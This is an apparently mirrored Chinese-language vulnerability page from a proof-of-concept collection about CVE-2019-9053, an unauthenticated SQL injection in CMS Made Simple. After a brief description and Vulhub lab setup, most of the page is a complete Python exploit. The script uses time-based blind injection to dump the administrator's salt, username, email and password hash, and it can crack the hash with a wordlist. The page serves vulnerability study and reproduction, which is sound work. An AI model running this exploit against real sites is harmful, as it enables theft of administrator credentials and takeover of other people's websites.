mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-06 19:38:09 +00:00
231 lines
7.8 KiB
Markdown
231 lines
7.8 KiB
Markdown
|
|
# CMS Made Simple (CMSMS) 前台SQL注入漏洞 CVE-2019-9053
|
|||
|
|
|
|||
|
|
## 漏洞描述
|
|||
|
|
|
|||
|
|
CMS Made Simple(CMSMS)是一个免费的开放源码内容管理系统,为开发人员、程序员和网站所有者提供基于网络的开发和管理功能。
|
|||
|
|
|
|||
|
|
在 2.2.9.1 之前的版本中,CMS Made Simple 存在一个未验证的 SQL 注入漏洞,攻击者可利用该漏洞获取管理员密码或密码重置令牌。结合后台的 SSTI 漏洞([CVE-2021-26120](https://github.com/vulhub/vulhub/tree/master/cmsms/CVE-2021-26120)),攻击者可在目标服务器上执行任意代码。
|
|||
|
|
|
|||
|
|
参考链接:
|
|||
|
|
|
|||
|
|
- [https://www.exploit-db.com/exploits/46635](https://www.exploit-db.com/exploits/46635)
|
|||
|
|
- [https://srcincite.io/pocs/cve-2021-26120.py.txt](https://srcincite.io/pocs/cve-2021-26120.py.txt)
|
|||
|
|
|
|||
|
|
## 环境搭建
|
|||
|
|
|
|||
|
|
Vulhub执行如下命令启动一个CMS Made Simple 2.2.9.1服务器:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
docker compose up -d
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
环境启动后,需要访问`http://your-vps-ip/install.php`并安装CMS服务。
|
|||
|
|
|
|||
|
|
安装过程请根据页面中的安装向导来进行,其中MySQL数据库的地址是`db`,数据库名是`cmsms`,账号和密码均为`root`。
|
|||
|
|
|
|||
|
|
%20前台SQL注入漏洞%20CVE-2019-9053/image-20240226161824580.png)
|
|||
|
|
|
|||
|
|
## 漏洞复现
|
|||
|
|
|
|||
|
|
使用[https://www.exploit-db.com/exploits/46635](https://www.exploit-db.com/exploits/46635)中的poc脚本来利用SQL注入漏洞:
|
|||
|
|
|
|||
|
|
```
|
|||
|
|
(py27) python poc.py -u http://your-vps-ip
|
|||
|
|
```
|
|||
|
|
|
|||
|
|
%20前台SQL注入漏洞%20CVE-2019-9053/image-20240226162629057.png)
|
|||
|
|
|
|||
|
|
可见,管理员密码已经被该脚本获取。
|
|||
|
|
|
|||
|
|
## 漏洞POC
|
|||
|
|
|
|||
|
|
```python
|
|||
|
|
#!/usr/bin/env python
|
|||
|
|
# Exploit Title: Unauthenticated SQL Injection on CMS Made Simple <= 2.2.9
|
|||
|
|
# Date: 30-03-2019
|
|||
|
|
# Exploit Author: Daniele Scanu @ Certimeter Group
|
|||
|
|
# Vendor Homepage: https://www.cmsmadesimple.org/
|
|||
|
|
# Software Link: https://www.cmsmadesimple.org/downloads/cmsms/
|
|||
|
|
# Version: <= 2.2.9
|
|||
|
|
# Tested on: Ubuntu 18.04 LTS
|
|||
|
|
# CVE : CVE-2019-9053
|
|||
|
|
|
|||
|
|
import requests
|
|||
|
|
from termcolor import colored
|
|||
|
|
import time
|
|||
|
|
from termcolor import cprint
|
|||
|
|
import optparse
|
|||
|
|
import hashlib
|
|||
|
|
|
|||
|
|
parser = optparse.OptionParser()
|
|||
|
|
parser.add_option('-u', '--url', action="store", dest="url", help="Base target uri (ex. http://10.10.10.100/cms)")
|
|||
|
|
parser.add_option('-w', '--wordlist', action="store", dest="wordlist", help="Wordlist for crack admin password")
|
|||
|
|
parser.add_option('-c', '--crack', action="store_true", dest="cracking", help="Crack password with wordlist", default=False)
|
|||
|
|
|
|||
|
|
options, args = parser.parse_args()
|
|||
|
|
if not options.url:
|
|||
|
|
print "[+] Specify an url target"
|
|||
|
|
print "[+] Example usage (no cracking password): exploit.py -u http://target-uri"
|
|||
|
|
print "[+] Example usage (with cracking password): exploit.py -u http://target-uri --crack -w /path-wordlist"
|
|||
|
|
print "[+] Setup the variable TIME with an appropriate time, because this sql injection is a time based."
|
|||
|
|
exit()
|
|||
|
|
|
|||
|
|
url_vuln = options.url + '/moduleinterface.php?mact=News,m1_,default,0'
|
|||
|
|
session = requests.Session()
|
|||
|
|
dictionary = '1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM@._-$'
|
|||
|
|
flag = True
|
|||
|
|
password = ""
|
|||
|
|
temp_password = ""
|
|||
|
|
TIME = 1
|
|||
|
|
db_name = ""
|
|||
|
|
output = ""
|
|||
|
|
email = ""
|
|||
|
|
|
|||
|
|
salt = ''
|
|||
|
|
wordlist = ""
|
|||
|
|
if options.wordlist:
|
|||
|
|
wordlist += options.wordlist
|
|||
|
|
|
|||
|
|
def crack_password():
|
|||
|
|
global password
|
|||
|
|
global output
|
|||
|
|
global wordlist
|
|||
|
|
global salt
|
|||
|
|
dict = open(wordlist)
|
|||
|
|
for line in dict.readlines():
|
|||
|
|
line = line.replace("\n", "")
|
|||
|
|
beautify_print_try(line)
|
|||
|
|
if hashlib.md5(str(salt) + line).hexdigest() == password:
|
|||
|
|
output += "\n[+] Password cracked: " + line
|
|||
|
|
break
|
|||
|
|
dict.close()
|
|||
|
|
|
|||
|
|
def beautify_print_try(value):
|
|||
|
|
global output
|
|||
|
|
print "\033c"
|
|||
|
|
cprint(output,'green', attrs=['bold'])
|
|||
|
|
cprint('[*] Try: ' + value, 'red', attrs=['bold'])
|
|||
|
|
|
|||
|
|
def beautify_print():
|
|||
|
|
global output
|
|||
|
|
print "\033c"
|
|||
|
|
cprint(output,'green', attrs=['bold'])
|
|||
|
|
|
|||
|
|
def dump_salt():
|
|||
|
|
global flag
|
|||
|
|
global salt
|
|||
|
|
global output
|
|||
|
|
ord_salt = ""
|
|||
|
|
ord_salt_temp = ""
|
|||
|
|
while flag:
|
|||
|
|
flag = False
|
|||
|
|
for i in range(0, len(dictionary)):
|
|||
|
|
temp_salt = salt + dictionary[i]
|
|||
|
|
ord_salt_temp = ord_salt + hex(ord(dictionary[i]))[2:]
|
|||
|
|
beautify_print_try(temp_salt)
|
|||
|
|
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_siteprefs+where+sitepref_value+like+0x" + ord_salt_temp + "25+and+sitepref_name+like+0x736974656d61736b)+--+"
|
|||
|
|
url = url_vuln + "&m1_idlist=" + payload
|
|||
|
|
start_time = time.time()
|
|||
|
|
r = session.get(url)
|
|||
|
|
elapsed_time = time.time() - start_time
|
|||
|
|
if elapsed_time >= TIME:
|
|||
|
|
flag = True
|
|||
|
|
break
|
|||
|
|
if flag:
|
|||
|
|
salt = temp_salt
|
|||
|
|
ord_salt = ord_salt_temp
|
|||
|
|
flag = True
|
|||
|
|
output += '\n[+] Salt for password found: ' + salt
|
|||
|
|
|
|||
|
|
def dump_password():
|
|||
|
|
global flag
|
|||
|
|
global password
|
|||
|
|
global output
|
|||
|
|
ord_password = ""
|
|||
|
|
ord_password_temp = ""
|
|||
|
|
while flag:
|
|||
|
|
flag = False
|
|||
|
|
for i in range(0, len(dictionary)):
|
|||
|
|
temp_password = password + dictionary[i]
|
|||
|
|
ord_password_temp = ord_password + hex(ord(dictionary[i]))[2:]
|
|||
|
|
beautify_print_try(temp_password)
|
|||
|
|
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users"
|
|||
|
|
payload += "+where+password+like+0x" + ord_password_temp + "25+and+user_id+like+0x31)+--+"
|
|||
|
|
url = url_vuln + "&m1_idlist=" + payload
|
|||
|
|
start_time = time.time()
|
|||
|
|
r = session.get(url)
|
|||
|
|
elapsed_time = time.time() - start_time
|
|||
|
|
if elapsed_time >= TIME:
|
|||
|
|
flag = True
|
|||
|
|
break
|
|||
|
|
if flag:
|
|||
|
|
password = temp_password
|
|||
|
|
ord_password = ord_password_temp
|
|||
|
|
flag = True
|
|||
|
|
output += '\n[+] Password found: ' + password
|
|||
|
|
|
|||
|
|
def dump_username():
|
|||
|
|
global flag
|
|||
|
|
global db_name
|
|||
|
|
global output
|
|||
|
|
ord_db_name = ""
|
|||
|
|
ord_db_name_temp = ""
|
|||
|
|
while flag:
|
|||
|
|
flag = False
|
|||
|
|
for i in range(0, len(dictionary)):
|
|||
|
|
temp_db_name = db_name + dictionary[i]
|
|||
|
|
ord_db_name_temp = ord_db_name + hex(ord(dictionary[i]))[2:]
|
|||
|
|
beautify_print_try(temp_db_name)
|
|||
|
|
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+username+like+0x" + ord_db_name_temp + "25+and+user_id+like+0x31)+--+"
|
|||
|
|
url = url_vuln + "&m1_idlist=" + payload
|
|||
|
|
start_time = time.time()
|
|||
|
|
r = session.get(url)
|
|||
|
|
elapsed_time = time.time() - start_time
|
|||
|
|
if elapsed_time >= TIME:
|
|||
|
|
flag = True
|
|||
|
|
break
|
|||
|
|
if flag:
|
|||
|
|
db_name = temp_db_name
|
|||
|
|
ord_db_name = ord_db_name_temp
|
|||
|
|
output += '\n[+] Username found: ' + db_name
|
|||
|
|
flag = True
|
|||
|
|
|
|||
|
|
def dump_email():
|
|||
|
|
global flag
|
|||
|
|
global email
|
|||
|
|
global output
|
|||
|
|
ord_email = ""
|
|||
|
|
ord_email_temp = ""
|
|||
|
|
while flag:
|
|||
|
|
flag = False
|
|||
|
|
for i in range(0, len(dictionary)):
|
|||
|
|
temp_email = email + dictionary[i]
|
|||
|
|
ord_email_temp = ord_email + hex(ord(dictionary[i]))[2:]
|
|||
|
|
beautify_print_try(temp_email)
|
|||
|
|
payload = "a,b,1,5))+and+(select+sleep(" + str(TIME) + ")+from+cms_users+where+email+like+0x" + ord_email_temp + "25+and+user_id+like+0x31)+--+"
|
|||
|
|
url = url_vuln + "&m1_idlist=" + payload
|
|||
|
|
start_time = time.time()
|
|||
|
|
r = session.get(url)
|
|||
|
|
elapsed_time = time.time() - start_time
|
|||
|
|
if elapsed_time >= TIME:
|
|||
|
|
flag = True
|
|||
|
|
break
|
|||
|
|
if flag:
|
|||
|
|
email = temp_email
|
|||
|
|
ord_email = ord_email_temp
|
|||
|
|
output += '\n[+] Email found: ' + email
|
|||
|
|
flag = True
|
|||
|
|
|
|||
|
|
dump_salt()
|
|||
|
|
dump_username()
|
|||
|
|
dump_email()
|
|||
|
|
dump_password()
|
|||
|
|
|
|||
|
|
if options.cracking:
|
|||
|
|
print colored("[*] Now try to crack password")
|
|||
|
|
crack_password()
|
|||
|
|
|
|||
|
|
beautify_print()
|
|||
|
|
|
|||
|
|
```
|